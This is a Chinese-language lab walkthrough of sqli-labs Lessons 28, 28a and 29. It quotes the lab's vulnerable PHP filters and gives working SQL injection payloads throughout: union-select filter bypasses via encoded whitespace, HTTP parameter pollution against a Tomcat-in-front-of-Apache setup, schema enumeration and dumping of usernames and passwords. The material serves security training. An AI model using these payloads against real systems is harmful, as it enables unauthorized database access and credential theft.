Lesson-28
该题为单括号单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[ +]/',"", $id); $id= preg_replace('/union\s+select/i',"", $id); # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson27的利用方式相同,只不过拼接方式由单引号变成了单括号单引号,过滤条件减少了单个关键字union
和select
的限制,添加了union select
过滤union select
可使用%0a
代替空格进行绕过
使用联合查询判断注入点,尝试验证
id=1')%0aand%0a('1')=('1 //返回正常界面
id=1')%0aand%0a('1')=('2 //返回错误界面
在新环境下再次判断字段数会出现与 Lesson23 同样的情况
id=1')%a0order%a0by%a04%a0and%a0('1')=('1
因此我们不能使用 order by 来判断字段数,需要通过 union select 判断
id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1
id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1
这里还有一个小插曲,由于-
号被过滤,原先用来报错的-1
已经改为0
,当然也可以使用足够大的数来使数据库查询报错,如100
等
查询基础信息
id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1
查询表名
id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1
查询列名
id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1
查询关键信息
id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1
Lesson-28a
该题为单括号单引号get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; $id= preg_replace('/union\s+select/i',"", $id); # 返回内容 if true: 输出查询内容; else: 输出存在错误;
注意:该题与Lesson28的利用方式相同,但过滤条件减少了许多关键字的限制,只保留了union select
的限制,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击
过滤union select
可使用%0a
代替空格进行绕过
使用联合查询判断注入点,尝试验证
id=1')%0aand%0a('1')=('1 //返回正常界面
id=1')%0aand%0a('1')=('2 //返回错误界面
在新环境下再次判断字段数会出现与 Lesson23 同样的情况
id=1')%a0order%a0by%a04%a0and%a0('1')=('1
因此我们不能使用 order by 来判断字段数,需要通过 union select 判断
id=0')%a0union%a0select%a01,2,3%a0and%a0('1')=('1
id=0')%a0union%a0select%a01,2,3,4%a0and%a0('1')=('1
这里还有一个小插曲,由于-
号被过滤,原先用来报错的-1
已经改为0
,当然也可以使用足够大的数来使数据库查询报错,如100
等
查询基础信息
id=0')%a0union%a0select%a01,user(),3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,version(),3%a0and%a0('1')=('1 id=0')%a0union%a0select%a01,database(),3%a0and%a0('1')=('1
查询表名
id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0and%a0('1')=('1
查询列名
id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0('1')=('1
查询关键信息
id=0')%a0union%a0select%a01,(SelecT%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0and%a0('1')=('1
Lesson-29
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
除了默认的index.php以外还存在login.php文件
id=1
但一旦输入错误会重定向hacked.php
目标SQL语句如下:
//index.php $id=$_GET['id'] $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); //login.php $qs = $_SERVER['QUERY_STRING']; $id1=java_implimentation($qs); $id=$_GET['id']; whitelist($id1); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; # 返回内容 if true: 输出查询内容; else: print_r(mysql_error()); function whitelist($input) { $match = preg_match("/^\d+$/", $input); if($match) { //echo "you are good"; //return $match; } else { header('Location: hacked.php'); //echo "you are bad"; } } function java_implimentation($query_string) { $q_s = $query_string; $qs_array= explode("&",$q_s); foreach($qs_array as $key => $value) { $val=substr($value,0,2); if($val=="id") { $id_value=substr($value,3,30); return $id_value; echo "<br>"; break; } } }
注意:该题存在两个存在注入的文件index.php
、login.php
,index.php
的注入异常简单,我们需要尝试注入更有难度的login.php
,它使用java_implimentation()
以及whitelist()
函数进行过滤,whitelist()
的过滤规则比较严格,如果$id
不为数字会自动跳转至hacked.php
;java_implimentation()
中会自动检测$id
值并使用return
返回结果,而return
则代表函数运行结束,攻击者只需要构造两组$id
值即可绕过函数检测,其实这就是HPP(参数污染)攻击,对服务器和客户端都会造成一定威胁
与此同时我们还需要注意不同服务器搭配脚本语言对参数解析位置是不同的,比如 Apache 会解析最后一个参数,Tomcat 则会解析第一个参数。
而本题实际上需要使用双层服务器架构,即将 Tomcat 作为外层服务器,将 Apache 作为内层服务器。在实际环境中也有这种情况,外层服务器主要过滤数据,作用相当于是一个 WAF,而内层服务器主要负责处理数据并返回结果。那为什么要以双层架构来搭建环境呢?因为 Tomcat 和 Apache 的解析参数不同,在处理id=1&id=1' and '1'='1
时 Tomcat 只检查第一个参数id=1
而不检查第二个参数id=1' and '1'='1
;而 Apache 不解析第一个参数id=1
,只解析第二个参数id=1' and '1'='1
。从而达到SQL注入攻击的目的。
注意:该部署环境适用于Lesson29-Lesson32
我们需要搭建Tomcat,解压 sqli-labs 中的tomcat-files.zip如下:
将解压后的文件放入 Tomcat 的webapps/ROOT目录当中
修改index.jsp中的转发链接为 sqli-labs 项目链接
成功访问目标地址,Tomcat 部署完成
id=1
使用联合查询判断注入点,尝试验证
id=1&id=1' and '1'='1 //返回正常界面
id=1&id=1' and '1'='2 //返回错误界面
判断字段数
id=1&id=1' order by 3--+ //返回正确界面
id=1&id=1' order by 4--+ //返回报错界面
由此可说明字段数为3,通过 union select 查看回显位置
id=1&id=-1' union select 1,2,3--+
查询基础信息
id=1&id=-1' union select 1,user(),3--+ id=1&id=-1' union select 1,version(),3--+ id=1&id=-1' union select 1,database(),3--+
查询表名
id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询列名
id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
查询关键信息
id=1&id=-1' union select 1,group_concat(username),group_concat(password) from users--+